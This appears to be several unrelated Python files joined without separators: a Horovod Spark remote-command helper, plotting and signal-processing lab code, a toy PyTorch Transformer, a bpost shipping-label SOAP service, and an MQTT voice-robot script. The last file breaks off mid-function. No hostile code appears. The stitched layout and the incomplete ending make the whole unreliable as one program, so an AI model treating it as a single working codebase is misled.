import os
import sys

from horovod.spark.task import task_service
from horovod.spark.driver import driver_service
from horovod.run.common.util import codec, secret

def main(driver_addresses, settings, host_hash, command):
    """
    Method to run `orted` remotely given a host hash and driver addresses.

    This method connects to the SparkDriverService running on the Spark driver,
    retrieves all information required to connect to the task with the lowest task index
    of that host hash and invoke the command there.
    All other tasks with the same host hash are expected to no-op (see `horovod.spark._task_fn`)
    and wait for the first task to terminate.

    :param driver_addresses: driver's addresses
    :param settings: settings
    :param host_hash: host hash to connect to
    :param command: command and arguments to invoke
    """
    if ':' in host_hash:
        raise Exception('Illegal host hash provided. Are you using Open MPI 4.0.0+?')

    key = codec.loads_base64(os.environ[secret.HOROVOD_SECRET_KEY])
    driver_client = driver_service.SparkDriverClient(driver_addresses, key,
                                                     verbose=settings.verbose)
    task_indices = driver_client.task_host_hash_indices(host_hash)
    # Since tasks with the same host hash have shared memory, we will run only
    # one ORTED process on the first task.
    first_task_index = task_indices[0]
    task_addresses = driver_client.all_task_addresses(first_task_index)
    task_client = task_service.SparkTaskClient(first_task_index, task_addresses,
                                               key, verbose=settings.verbose)
    task_client.run_command(command, os.environ)

if __name__ == '__main__':
    """
    Method run by MPI to connect to a host hash and execute the given command.

    The command is usually `orted` to setup the MPI cluster. That `orted` process
    is then used to spin-up the actual remote process, the Horovod user's Python method.

    :param driver_addresses: all IP addresses of the driver, base64 encoded
    :param settings: all settings, base64 encoded
    :param host_hash: the host hash to connect to
    :param command: the command and arguments to execute remotely
    """
    if len(sys.argv) < 5:
        print('Usage: %s <service addresses> <settings> <host hash> '
              '<command...>' % sys.argv[0])
        sys.exit(1)
    main(codec.loads_base64(sys.argv[1]), codec.loads_base64(sys.argv[2]),
         sys.argv[3], " ".join(sys.argv[4:]))


#!/usr/bin/env python3
import numpy as np
import matplotlib.pyplot as plt

mean = [69, 0]
cov = [[15, 8], [8, 15]]
np.random.seed(5)
x, y = np.random.multivariate_normal(mean, cov, 2000).T
y += 180

# Plot the data as a scatter plot
plt.scatter(x, y, c='magenta', marker='o')

# Label the x-axis as "Height (in)"
plt.xlabel('Height (in)')

# Label the y-axis as "Weight (lbs)"
plt.ylabel('Weight (lbs)')

# Set the title as "Men's Height vs Weight"
plt.title("Men's Height vs Weight")

# Display the plot
plt.show()


# -*- coding: utf-8 -*-
'''
@Time    : 2018/6/26 21:41
@Author  : Great God
@File    : t1.py
@Software: PyCharm
'''

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
a = {'host':'10.6.10.11:9011','task_list':{'name1':'FOLLOWING','name2':'LEADING'},'status':'online','isself':1}
for data in ["chenshan", "yuanhui", "chendianqiang"]:
    s.sendto(str(a).encode(), ('127.0.0.1', 9999))
    print(data)
    #time.sleep(1)

s.close()


'''
Description:
Version: 2.0
Autor: Zhang
Date: 2022-03-20 21:52:11
LastEditors: Zhang
LastEditTime: 2022-03-21 19:54:03
'''

# Reference : https://github.com/jadore801120/attention-is-all-you-need-pytorch
#           https://github.com/JayParks/transformer

import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim

# S: 表示解码输入的起始位置
# E: 表示解码输入的终止位置
# P: 表示Padding

def make_batch(sentences):
    input_batch = [[src_vocab[x] for x in sentences[0].split()]]
    output_batch = [[tag_vocab[x] for x in sentences[1].split()]]
    target_batch = [[tag_vocab[x] for x in sentences[2].split()]]
    return torch.LongTensor(input_batch), torch.LongTensor(output_batch), torch.LongTensor(target_batch)

def get_att_pad_mask(seq_q, seq_k):
    batch_size, len_q = seq_q.size()
    batch_size, len_k = seq_k.size()
    att_pad_mask = seq_k.data.eq(0).unsqueeze(1)
    return att_pad_mask.expand(batch_size,len_q,len_k)

def get_attn_subsequent_mask(seq):
    attn_shape = [seq.size(0), seq.size(1), seq.size(1)]
    subsequent_mask = np.triu(np.ones(attn_shape), k=1)
    subsequent_mask = torch.from_numpy(subsequent_mask).byte()
    return subsequent_mask

class ScaledDotProductAttention(nn.Module):
    def __init__(self):
        super(ScaledDotProductAttention, self).__init__()

    def forward(self, Q, K, V, attn_mask):
        scores = torch.matmul(Q, K.transpose(-1, -2)) / np.sqrt(d_k) # scores : [batch_size x n_heads x len_q(=len_k) x len_k(=len_q)]
        scores.masked_fill_(attn_mask, -1e9) # Fills elements of self tensor with value where mask is one.
        attn = nn.Softmax(dim=-1)(scores)
        context = torch.matmul(attn, V)
        return context, attn

# 求输入的位置编码 n_position X d_model
class PositionEncoding(nn.Module):
    def __init__(self, max_len=5000, dropout=0.1):
        super(PositionEncoding, self).__init__()

        self.pe = torch.tensor([self.get_posi_preq_vec(pos_i) for pos_i in range(max_len)], dtype=torch.float)
        self.pe[:,0::2] = torch.sin(self.pe[:,0::2])
        self.pe[:,1::2] = torch.cos(self.pe[:,1::2])
        self.pe = self.pe.unsqueeze(0).transpose(0,1)  # 增加一维Batch_size [max_len, 1, d_model]

        self.register_buffer('pec', self.pe)   # 定义一个缓冲区，固定参数不更新
        self.dropout = nn.Dropout(p=dropout)

    def forward(self, x):
        x = x + self.pe[:x.size(0),:]   # x:[seq_len, batch_size, d_model] 根据广播机制相加
        return self.dropout(x)

    def cal_preq(self, position, idx):
        return position / np.power(10000, 2*(idx//2)/d_model)

    def get_posi_preq_vec(self, position):
        return [self.cal_preq(position, idx_j) for idx_j in range(d_model)]

class MultiHeadAttention(nn.Module):
    def __init__(self):
        super(MultiHeadAttention, self).__init__()
        self.W_Q = nn.Linear(d_model, d_q*n_heads)
        self.W_K = nn.Linear(d_model, d_k*n_heads)
        self.W_V = nn.Linear(d_model, d_v*n_heads)
        self.linear = nn.Linear(n_heads * d_v, d_model)
        self.layer_norm = nn.LayerNorm(d_model)

    def forward(self, Q, K, V, attn_mask):
        residual, batch_size = Q, Q.size(0)
        # (B, S, D) -proj-> (B, S, D) -split-> (B, S, H, W) -trans-> (B, H, S, W)
        q_s = self.W_Q(Q).view(batch_size, -1, n_heads, d_q).transpose(1,2)  # q_s: [batch_size x n_heads x len_q x d_k]
        k_s = self.W_K(K).view(batch_size, -1, n_heads, d_k).transpose(1,2)  # k_s: [batch_size x n_heads x len_k x d_k]
        v_s = self.W_V(V).view(batch_size, -1, n_heads, d_v).transpose(1,2)  # v_s: [batch_size x n_heads x len_k x d_v]

        attn_mask = attn_mask.unsqueeze(1).repeat(1, n_heads, 1, 1) # attn_mask : [batch_size x n_heads x len_q x len_k]

        # context: [batch_size x n_heads x len_q x d_v], attn: [batch_size x n_heads x len_q(=len_k) x len_k(=len_q)]
        context, attn = ScaledDotProductAttention()(q_s, k_s, v_s, attn_mask)
        context = context.transpose(1, 2).contiguous().view(batch_size, -1, n_heads * d_v) # context: [batch_size x len_q x n_heads * d_v]
        output = self.linear(context)
        return self.layer_norm(output + residual), attn # output: [batch_size x len_q x d_model]

class PoswiseFeedForwardNet(nn.Module):
    def __init__(self):
        super(PoswiseFeedForwardNet, self).__init__()
        self.conv1 = nn.Conv1d(in_channels=d_model, out_channels=d_ff, kernel_size=1)
        self.conv2 = nn.Conv1d(in_channels=d_ff, out_channels=d_model, kernel_size=1)
        self.layer_norm = nn.LayerNorm(d_model)

    def forward(self, inputs):
        residual = inputs # inputs : [batch_size, len_q, d_model]
        output = nn.ReLU()(self.conv1(inputs.transpose(1, 2)))
        output = self.conv2(output).transpose(1, 2)
        return self.layer_norm(output + residual)

class EncoderLayer(nn.Module):
    def __init__(self):
        super(EncoderLayer, self).__init__()
        self.enc_self_att = MultiHeadAttention()
        self.pos_ffn = PoswiseFeedForwardNet()

    def forward(self,enc_inputs, enc_self_attn_mask):
        enc_outputs, attn = self.enc_self_att(enc_inputs, enc_inputs, enc_inputs, enc_self_attn_mask) # enc_inputs to same Q,K,V
        enc_outputs = self.pos_ffn(enc_outputs) # enc_outputs: [batch_size x len_q x d_model]
        return enc_outputs, attn

class DecoderLayer(nn.Module):
    def __init__(self):
        super(DecoderLayer, self).__init__()
        self.dec_self_attn = MultiHeadAttention()
        self.dec_enc_attn = MultiHeadAttention()
        self.pos_ffn = PoswiseFeedForwardNet()

    def forward(self, dec_inputs, enc_outputs, dec_self_attn_mask, dec_enc_attn_mask):
        dec_outputs, dec_self_attn = self.dec_self_attn(dec_inputs, dec_inputs, dec_inputs, dec_self_attn_mask)
        dec_outputs, dec_enc_attn = self.dec_enc_attn(dec_outputs, enc_outputs, enc_outputs, dec_enc_attn_mask)
        dec_outputs = self.pos_ffn(dec_outputs)
        return dec_outputs, dec_self_attn, dec_enc_attn

class Encoder(nn.Module):
    def __init__(self):
        super(Encoder, self).__init__()
        self.src_emb = nn.Embedding(src_vocab_size, d_model)
        self.posi_emb = PositionEncoding()
        self.layers = nn.ModuleList([EncoderLayer() for _ in range(n_layers)])

    def forward(self, enc_inputs):
        # enc_inputs 的形状：[batch_size, src_len]
        enc_outputs = self.src_emb(enc_inputs)        # [batch_size, src_len, d_model]
        enc_outputs = self.posi_emb(enc_outputs.transpose(0,1)).transpose(0,1)

        enc_self_att_mask = get_att_pad_mask(enc_inputs, enc_inputs)
        enc_self_atts = []
        for layer in self.layers:
            enc_outputs, enc_self_attn = layer(enc_outputs, enc_self_att_mask)
            enc_self_atts.append(enc_self_attn)

        return enc_outputs, enc_self_atts

class Decoder(nn.Module):
    def __init__(self):
        super(Decoder, self).__init__()
        self.tgt_emb = nn.Embedding(tag_vocab_size, d_model)
        self.pos_emb = PositionEncoding()
        self.layers = nn.ModuleList([DecoderLayer() for _ in range(n_layers)])

    def forward(self, dec_inputs, enc_inputs, enc_outputs): # dec_inputs : [batch_size x target_len]
        dec_outputs = self.tgt_emb(dec_inputs)  # [batch_size, tgt_len, d_model]
        dec_outputs = self.pos_emb(dec_outputs.transpose(0, 1)).transpose(0, 1) # [batch_size, tgt_len, d_model]

        ## get_attn_pad_mask 自注意力层的时候的pad 部分
        dec_self_attn_pad_mask = get_att_pad_mask(dec_inputs, dec_inputs)

        ## get_attn_subsequent_mask 这个做的是自注意层的mask部分，就是当前单词之后看不到，使用一个上三角为1的矩阵
        dec_self_attn_subsequent_mask = get_attn_subsequent_mask(dec_inputs)

        ## 两个矩阵相加，大于0的为1，不大于0的为0，为1的在之后就会被fill到无限小
        dec_self_attn_mask = torch.gt((dec_self_attn_pad_mask + dec_self_attn_subsequent_mask), 0)

        ## 这个做的是交互注意力机制中的mask矩阵，enc的输入是k，我去看这个k里面哪些是pad符号，给到后面的模型；注意哦，我q肯定也是有pad符号，但是这里我不在意的，之前说了好多次了哈
        dec_enc_attn_mask = get_att_pad_mask(dec_inputs, enc_inputs)

        dec_self_attns, dec_enc_attns = [], []
        for layer in self.layers:
            dec_outputs, dec_self_attn, dec_enc_attn = layer(dec_outputs, enc_outputs, dec_self_attn_mask, dec_enc_attn_mask)
            dec_self_attns.append(dec_self_attn)
            dec_enc_attns.append(dec_enc_attn)
        return dec_outputs, dec_self_attns, dec_enc_attns

class Transformer(nn.Module):
    def __init__(self):
        super(Transformer, self).__init__()
        self.encoder = Encoder()
        self.decoder = Decoder()
        self.projection = nn.Linear(d_model, tag_vocab_size, bias=False)

    def forward(self, enc_inputs, dec_inputs):

        enc_outputs, enc_self_attns = self.encoder(enc_inputs)

        dec_outputs, dec_self_attns, dec_enc_attns = self.decoder(dec_inputs, enc_inputs, enc_outputs)

        dec_logits = self.projection(dec_outputs)

        return dec_logits.view(-1, dec_logits.size(-1)), enc_self_attns, dec_self_attns, dec_enc_attns

if __name__ == '__main__':

    ## 句子的输入部分，
    sentences = ['ich mochte ein bier P', 'S i want a beer', 'i want a beer E']

    # Transformer Parameters
    # Padding Should be Zero
    ## 构建词表
    src_vocab = {'P': 0, 'ich': 1, 'mochte': 2, 'ein': 3, 'bier': 4}
    src_vocab_size = len(src_vocab)

    tag_vocab = {'P': 0, 'i': 1, 'want': 2, 'a': 3, 'beer': 4, 'S': 5, 'E': 6}
    tag_vocab_size = len(tag_vocab)

    src_len = 5 # length of source
    tag_len = 5 # length of target

    ## 模型参数
    d_model = 512  # Embedding Size
    d_ff = 2048  # FeedForward dimension
    d_q = d_k = d_v = 64  # dimension of K(=Q), V
    n_layers = 6  # number of Encoder of Decoder Layer
    n_heads = 8  # number of heads in Multi-Head Attention

    model = Transformer()

    criterion = nn.CrossEntropyLoss()
    optimizer = optim.Adam(model.parameters(), lr=0.001)

    enc_inputs, dec_inputs, target_batch = make_batch(sentences)

    for epoch in range(1000):
        optimizer.zero_grad()
        outputs, enc_self_attns, dec_self_attns, dec_enc_attns = model(enc_inputs, dec_inputs)
        loss = criterion(outputs, target_batch.contiguous().view(-1))
        print(target_batch.contiguous().view(-1))
        outputs = torch.argmax(outputs, dim=1)
        print(outputs)
        print('Epoch:', '%04d' % (epoch + 1), 'cost =', '{:.6f}'.format(loss))
        loss.backward()
        optimizer.step()


import matplotlib.pyplot as plt
import numpy as np
from scipy.io import wavfile
from scipy import signal
import math

# use "custom" fmDemodArctan
from fmSupportLib import fmDemodArctan

# the radio-frequency (RF) sampling rate
# this sampling rate is either configured on RF hardware
# or documented when a raw file with IQ samples is provided
rf_Fs = 2.4e6

# the cutoff frequency to extract the FM channel from raw IQ data
rf_Fc = 100e3

# the number of taps for the low-pass filter to extract the FM channel
# this default value for the width of the impulse response should be changed
# depending on some target objectives, like the width of the transition band
# and/or the minimum expected attenuation from the pass to the stop band
rf_taps = 151

# the decimation rate when reducing the front end sampling rate (i.e., RF)
# to a smaller samping rate at the intermediate frequency (IF) where
# the demodulated data will be split into the mono/stereo/radio data channels
rf_decim = 10

# audio sampling rate (we assume audio will be at 48 KSamples/sec)
audio_Fs = 48e3

# complete your own settings for the mono channel
# (cutoff freq, audio taps, decimation rate, ...)
audio_Fc = 16000
audio_taps = 151
audio_decim = 5

# our own firwin
def our_fir(fc, fs, Ntaps):
	#FIR=finite impulse response
    h = np.zeros(Ntaps)
    Norm = 2*fc/fs
    for i in range(Ntaps):
        if(i == (Ntaps-1)/2):
            h[i] = Norm
        else:
            h[i] = Norm*((math.sin(math.pi*Norm*(i-(Ntaps-1)/2)))/(math.pi*Norm*(i-(Ntaps-1)/2)))
        h[i] = h[i]*math.pow((math.sin(i*math.pi/Ntaps)), 2)
    return h

def our_lfilter(b, a, x, N_taps, zi=None):
        y = np.zeros(len(x)) #initializing output list
        for i in range(len(x)): #iterate for each y index
                sum = 0
                for j in range(N_taps): #do the multiplication for convolution N_taps times
                        if(i-j >= 0): #if it is calculated within the current block
                                sum += b[j]*x[i-j] #take the values from the input x
                        elif (not(zi is None)):
                                sum += b[j]*zi[i-j] #otherwise take it from the zi list
                y[i] = sum #save the value of sum the the index of the output Y
        if(zi is None):
                return y
        return y, x[len(x)-N_taps+1:]  #return output Y and the last Ntaps-1 values in input X as the zi parameter

if __name__ == "__main__":

        # read the raw IQ data from the recorded file
        # IQ data is normalized between -1 and +1 and interleaved
        in_fname = "../data/test1.raw"
        iq_data = np.fromfile(in_fname, dtype='float32', count = 50000)
        print("Read raw RF data from \"" + in_fname + "\" in float32 format")

        # coefficients for the front-end low-pass filter
        #rf_coeff = signal.firwin(rf_taps, rf_Fc/(rf_Fs/2), window=('hann'))
        rf_coeff = our_fir(rf_Fc, rf_Fs, rf_taps) #calling our own firwin
        print('rf coeff')
        # filter to extract the FM channel (I samples are even, Q samples are odd)
        #i_filt = signal.lfilter(rf_coeff, 1.0, iq_data[0::2])
        #q_filt = signal.lfilter(rf_coeff, 1.0, iq_data[1::2])
        i_filt = our_lfilter(rf_coeff, 1.0, iq_data[0::2],rf_taps)
        q_filt = our_lfilter(rf_coeff, 1.0, iq_data[1::2],rf_taps)
        print('iq filter')
        # downsample the FM channel
        i_ds = i_filt[::rf_decim]
        q_ds = q_filt[::rf_decim]

        # FM demodulator (check the library)
        fm_demod, dummy = fmDemodArctan(i_ds, q_ds)
        # we use a dummy because there is no state for this single-pass model

        # set up drawing
        fig, (ax0, ax1, ax2) = plt.subplots(nrows=3)
        fig.subplots_adjust(hspace = 1.0)

        # PSD after FM demodulation
        ax0.psd(fm_demod, NFFT=512, Fs=(rf_Fs/rf_decim)/1e3)
        ax0.set_ylabel('PSD (db/Hz)')
        ax0.set_title('Demodulated FM')

        # coefficients for the filter to extract mono audio
        #audio_coeff = signal.firwin(audio_taps, audio_Fc/(audio_Fs/2), window=('hann')) # to be updated by you during in-lab
        audio_coeff = our_fir(audio_Fc, audio_Fs, audio_taps) #calling our own firwin
        print('audio coeff')
        # extract the mono audio data through filtering
        #audio_filt =  signal.lfilter(audio_coeff, 1.0, fm_demod ) # to be updated by you during in-lab
        audio_filt =  our_lfilter(audio_coeff, 1.0, fm_demod, audio_taps) # to be updated by you during in-lab
        print('audio coeff')
        # you should uncomment the plots below once you have processed the data

        # PSD after extracting mono audio
        ax1.psd(audio_filt, NFFT=512, Fs=(rf_Fs/rf_decim)/1e3)
        ax1.set_ylabel('PSD (db/Hz)')
        ax1.set_title('Extracted Mono')

        # downsample audio data
        audio_data = audio_filt[::audio_decim] # to be updated by you during in-lab
        print(audio_data)
        # PSD after decimating mono audio
        ax2.psd(audio_data, NFFT=512, Fs=audio_Fs/1e3)
        ax2.set_ylabel('PSD (db/Hz)')
        ax2.set_title('Mono Audio')

        # save PSD plots
        fig.savefig("../data/fmMonoBasic.png")
        plt.show()

        # write audio data to file (assumes audio_data samples are -1 to +1)
        wavfile.write("../data/fmMonoBasic.wav", int(audio_Fs), np.int16((audio_data/2)*32767))
        # during FM transmission audio samples in the mono channel will contain
        # the sum of the left and right audio channels; hence, we first
        # divide by two the audio sample value and then we rescale to fit
        # in the range offered by 16-bit signed int representation


import tkinter as tk
from  tkinter import *
from tkinter import messagebox

m = tk.Tk()
m.geometry("300x400")

def ShowData():
    messagebox.showinfo("Congratulations, your demo is running ")

Showbtn = tk.Button(m,text = "click here" ,bg = "Black",fg = "White",command =ShowData)
Showbtn.pack()

m.mainloop()


# -*- coding: utf-8 -*-
from Classes.AbstractService import Service
from Modules.data_converter import data_converter as converter
from Modules.network import networking as netw
import os
import xml.etree.ElementTree as ET
import base64
import boto
from boto.s3.key import Key
from boto.s3.connection import S3Connection
import time
from BuiltInService import xmltodict
import datetime
from Modules.data_validator import Validator
# from lxml import etree

BPOST_EASY_PLUS_URL = os.environ["BPOST_RETURN_LABEL_URI"]
BPOST_CONTRACT_ID = os.environ["BPOST_CONTRACT_ID"]

class bposteasyplus(Service):
	"""docstring for bposteasyplus"""
	def root(self, paramlist):
		true=True
		false=False
		data={"/": {"get": true},"/type": {"get": true},"/label": {"post": true},"/price": {"post": false},"/status": {"get": true},"tracking":{"get":false}}

		return data

	def status(self, paramlist):
		paramlabel={
		  "origin": {
		    "name": "Ithyvan Schreys",
		    "first_name": "Ithyvan",
		    "last_name": "Schreys",
		    "phone": "0622889977",
		    "email": "eddy@shoprunback.com",
		    "company": "Company Origin",
		    "line1": "12 avenue de la habette",
		    "line2": "",
		    "street_number": "12",
		    "street_name": "avenue de la habette",
		    "state": "",
		    "zipcode": "94000",
		    "country_code": "FR",
		    "city": "CRETEIL"
		  },
		  "destination": {
		    "name": "Leo Martin",
		    "first_name": "Leo",
		    "last_name": "Martin",
		    "company": "Company Destination",
		    "street_number": "59",
		    "street_name": "rue des petits champs",
		    "line1": "59 rue des petits champs",
		    "line2": "",
		    "state": "IDF",
		    "zipcode": "75001",
		    "country_code": "FR",
		    "phone": "0688997788",
		    "email": "",
		    "city": "Paris"
		  },
		  "parcel": {
		    "length_in_cm": 10,
		    "width_in_cm": 10,
		    "height_in_cm": 10,
		    "weight_in_grams": 1950
		  },
		  "shipment_id": "979797",
		  "dropoff": {
		    "point_id": "C10G3"
		  }
		}
		objfunction=["root","type","label"]
		instance = Validator()
		api_url_request = os.environ["API_DEVEVELOPER_URL"]
		result = instance.get_all_status("bposteasyplus",api_url_request,objfunction,paramlabel,"","","","")
		return result

	def label(sef,userparamlist):

		req_list=["destination/first_name","destination/last_name","destination/line1","destination/zipcode","destination/city","destination/country_code","origin/line1",
		"origin/first_name","origin/last_name","origin/zipcode","origin/city","origin/country_code","shipment_id"]
		instance = Validator()
		checkparamlist = instance.json_check_required(req_list, userparamlist)
		if checkparamlist["status"]:
			# event=userparamlist
			reqEmpty=["destination/first_name","destination/last_name"]
			event = instance.jsonCheckEmpty(reqEmpty,userparamlist)
			event["origin"]["name"] = str(event["origin"]["first_name"])+" "+str(event["origin"]["last_name"])
			event["destination"]["name"] = str(event["destination"]["first_name"])+" "+str(event["destination"]["last_name"])

			data_line1= str(event["origin"]["line1"])
			street_info = instance.json_check_line1(data_line1)
			event["origin"]["street_number"]  = street_info["street_number"]
			event["origin"]["street_name"]  =street_info["street_name"]
			if event["origin"]["street_number"]=="":
				event["origin"]["street_number"]="0"

			#destination line1
			dest_line1= event["destination"]["line1"]

			street_info = instance.json_check_line1(dest_line1)
			event["destination"]["street_number"]  = street_info["street_number"]
			event["destination"]["street_name"]  =street_info["street_name"]
			if event["destination"]["street_number"]=="":
				event["destination"]["street_number"]="0"
		else:
			responseErr = {"status": 400,"errors": [{"detail": str(checkparamlist["message"])}]}
			raise Exception(responseErr)
			# return checkparamlist["message"]

		# full_destination_address = event["destination"]["line1"] + " " + event["destination"]["line2"]
		# full_origin_address = event["origin"]["line1"] + " " + event["origin"]["line2"]
		xmlresult=u"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:v001="http://schema.bpost.be/services/service/postal/ExternalMailItemReturnsCSMessages/v001">
	       <soapenv:Header/>
	       <soapenv:Body>
	          <v001:getReturnLabelRequest>
	            <v001:ContractInfo>
	              <v001:ContractID>""" + os.environ["BPOST_CONTRACT_ID"] + """</v001:ContractID>
	            </v001:ContractInfo>
	            <v001:Addressee>
	                <v001:Name>""" + event["destination"]["name"] + """</v001:Name>
	                <v001:Streetname>""" + event["destination"]["street_name"] + """</v001:Streetname>
	                <v001:Streetnumber>""" + event["destination"]["street_number"] + " " + """</v001:Streetnumber>
	                <v001:PostalCode>""" + event["destination"]["zipcode"] + """</v001:PostalCode>
	                <v001:MunicipalityName>""" + event["destination"]["city"] + """</v001:MunicipalityName>
	                <v001:CountryISO2Code>""" + event["destination"]["country_code"] + """</v001:CountryISO2Code>
	            </v001:Addressee>
	            <v001:Sender>
	              <v001:Name>""" + event["origin"]["name"] + """</v001:Name>
	              <v001:Streetname>""" + event["origin"]["street_name"] + """</v001:Streetname>
	              <v001:Streetnumber>""" + event["origin"]["street_number"] + " " + """</v001:Streetnumber>
	              <v001:PostalCode>""" + event["origin"]["zipcode"] + """</v001:PostalCode>
	              <v001:MunicipalityName>""" + event["origin"]["city"] + """</v001:MunicipalityName>
	              <v001:CountryISO2Code>""" + event["origin"]["country_code"] + """</v001:CountryISO2Code>
	            </v001:Sender>
	            <v001:ReturnInfo>
	              <v001:CustomerReference>""" + event["shipment_id"] + """</v001:CustomerReference>
	            </v001:ReturnInfo>
	          </v001:getReturnLabelRequest>
	       </soapenv:Body>
	    </soapenv:Envelope>"""

		headersConfig={'Content-Type': 'text/xml', 'Authorization': ("Basic " + os.environ["BPOST_BASIC_AUTH"]), 'SOAPAction': "http://schema.bpost.be/services/service/postal/ExternalLabelServiceCS/v001/getReturnLabel"}
		try:
			xmlresponse = netw.sendRequestHeaderConfig(BPOST_EASY_PLUS_URL, xmlresult, "post", headersConfig)
		except:
			responseErr = {"status": 500,"errors": [{"detail": str(xmlresponse)}]}
			raise Exception(responseErr)

		data = xmltodict.parse(xmlresponse)

		c = boto.connect_s3(os.environ["AWS_S3_KEY1"], os.environ["AWS_S3_KEY2"])
		bucket = c.get_bucket("srbstickers", validate=False)
		name_file = str(time.time()) + ".pdf"
		k = Key(bucket)
		k.key = name_file
		k.contentType="application/pdf"
		k.ContentDisposition="inline"
		# k.set_contents_from_string(data['soapenv:Envelope']['soapenv:Body']['msg:getReturnLabelResponse']['msg:ReturnLabelInfo']['msg:ReturnLabel_PDF'].decode('base64'))
		try:
			img_data=data['soapenv:Envelope']['soapenv:Body']['msg:getReturnLabelResponse']['msg:ReturnLabelInfo']['msg:ReturnLabel_PDF']
		except:
			responseErr = {"status": 500,"errors": [{"detail": str(xmlresponse)}]}
			raise Exception(responseErr)

		k.set_contents_from_string(base64.b64decode(img_data.encode('ascii')))

		try:
			shipment_id = data['soapenv:Envelope']['soapenv:Body']['msg:getReturnLabelResponse']['msg:ReturnLabelInfo']['msg:Leg3']['msg:ItemInfo']['msg:Code']
		except:
			# return xmlresponse
			responseErr = {
				"status": 500,
				"errors": [
					{
						"detail": str(xmlresponse)
					}
				]
			}
			raise Exception(responseErr)

		link_pdf = "https://s3-us-west-2.amazonaws.com/srbstickers/" + name_file

		event["label_url"]=link_pdf
		event["carrier_shipment_id"] = shipment_id
		# if "parcel" in event:
		# 	final_response = {
		# 		"origin": event["origin"],
		# 		"destination": event["destination"],
		# 		"parcel": event["parcel"],
		# 		"carrier_shipment_id": shipment_id,
		# 		"label_url": link_pdf
		# 	}
		# else:
		# 	final_response = {
		# 		"origin": event["origin"],
		# 		"destination": event["destination"],
		# 		"carrier_shipment_id": shipment_id,
		# 		"label_url": link_pdf
		# 	}

		return event

	def type(self,paramlist):
		true=True
		false=False
		data={
			"type": "postal",
			"postal": true,
			"pickup": false,
			"dropoff": false,
			"linehaul": false
		}
		return data


# USING MQTT PROTOCOL
# REFER kalsh.sh and services/kalyantrapy.service to create system service

import math
import os
import re
from kal_bot_ent import add_sensor_listeners
from utils import *
from speech_rec import get_text
from mqtt_events import *
from enums import *
import asyncio
from time import sleep

wake_cmds = ['ok yantra','do something','okay yantra','hey robo']

# Connect with MQTT Broker
mq_client.on_connect = on_connect
mq_client.on_subscribe = on_subscribe
mq_client.on_message = on_message
mq_client.on_publish = on_publish

async def mqtt_sub_topics():
    sleep(1) #required cause sometimes subs won't work with AWS without a cold sec after connection
    mq_client.subscribe(sub_topic_en.BASE.value)
    mq_client.subscribe(sub_topic_en.MOVE.value)
    mq_client.subscribe(sub_topic_en.PICAM.value)
    mq_client.subscribe(sub_topic_en.VCMD.value)

try:

  add_sensor_listeners()
  print("Connecting...")
  mq_client.connect(os.getenv('MQTT_HOST'), 8883, 45)
  asyncio.run(mqtt_sub_topics())
  mq_client.publish(pub_topic_en.ACKS.value,f"client {os.getenv('MQTT_CLIENT_ID')} connected")
  mq_client.loop_start()

  while True:

    print("listening")
    txt = get_text()
    kalyantra.awaiting_awake_cmd = False
    kalyantra.led_handler()
    # print(txt)

    if txt != None:
      if txt.lower().count(wake_cmds[0]) > 0 or txt.lower().count(wake_cmds[1]) > 0 or txt.lower().count(wake_cmds[2]) > 0 or txt.lower().count(wake_cmds[3]) > 0:
        if kalyantra.moving:
            # halt
            asyncio.run(kalyantra.moves(msg='halt'))
            y_n = get_text(False,dur=3,interupt=True)
            kalyantra.listening_wtd = False
            kalyantra.led_handler()
            if y_n != None and y_n.startswith('yes'):
               logging.info(f'({y_n})')
               kalyantra.speak('Humans are so fickel minded')
               kalyantra.moves(msg='halt',main=True)
              #to-do ===> # or perform return <===
            # resume moving
            else : asyncio.run(kalyantra.moves(resume=True))
        else:
            dotxt = get_text(False)
            kalyantra.listening_wtd = False
            kalyantra.led_handler()
            if dotxt != None:

              # to-do this is for basic ideation ===>
                  # :Integrate:
                  #  1. GPT APIs
                  #  2. for simple calculation don't use API's (will cost unnecessarily for basic calcs)
                      # **and instead of 3rd party/ per-trained model Can try to build own NLP*,DL*,NN* model
                      # for such questions as sums won't be limited to two numbers, need to support more than limited questions sets
                      # and should not be limited to one operation till then...
                if dotxt.startswith('calculate'):
                    mathPrblm = dotxt
                    soln = "out of my expertise"
                    try:
                      if 'power' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) ** int(re.findall(r'\d+', mathPrblm)[1]))
                      elif 'times' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) * int(re.findall(r'\d+', mathPrblm)[1]))
                      elif 'plus' or '+' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) + int(re.findall(r'\d+', mathPrblm)[1]))
                      elif 'minus' or '-' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) - int(re.findall(r'\d+', mathPrblm)[1]))
                      elif 'divide' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) / int(re.findall(r'\d+', mathPrblm)[1]))
                      elif 'cube' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) ** 3)
                      elif 'square' in mathPrblm:
                          soln = (int(re.findall(r'\d+', mathPrblm)[0]) ** 2)
                      elif 'root' in mathPrblm:
                          soln = math.sqrt(int(re.findall(r'\d+', mathPrblm)[0]))
                      else: raise 'not supported'
                    except Exception as e:
                        print(f'mathPrblm({mathPrblm}) e:{e}')
                    kalyantra.speak(soln)

                elif dotxt.startswith('what'):
                    soln = "out of my expertise"
                    try:
                        if 'time' in dotxt:
                           soln = datetime.now().strftime("%H:%M")
                        elif 'date' in dotxt:
                          soln = datetime.now().strftime("%d-%m-%Y")
                    except Exception as e:
                        print(f'mathPrblm({mathPrblm}) e:{e}')
                    kalyantra.speak(soln)
              # <===

                else: kalyantra.tasks_creator(msg=dotxt)

  # mq_client.loop_forever()
except KeyboardInterrupt:
  kalyantra.led.off()
  mq_client.loop_stop()
  mq_client.disconnect()
  print(f'app closed by ^C')

except Exception as e:
  kalyantra.led.off()
  logging.info(f'app closed with err: {e}')


from scene import *

back_text = UIText(UIText.FONT, "Back", sf.Color.GREEN, sf.Vector2(0, 0), 15)
back_button = Button(sf.Color.BLACK, sf.Color.RED, back_text, sf.Vector2(50, PARAM.HEIGHT - 20), sf.Vector2(80, 20), 0)

BUTTONS = [back_button]
TEXTS = []

def update(APP):
    for b in BUTTONS:
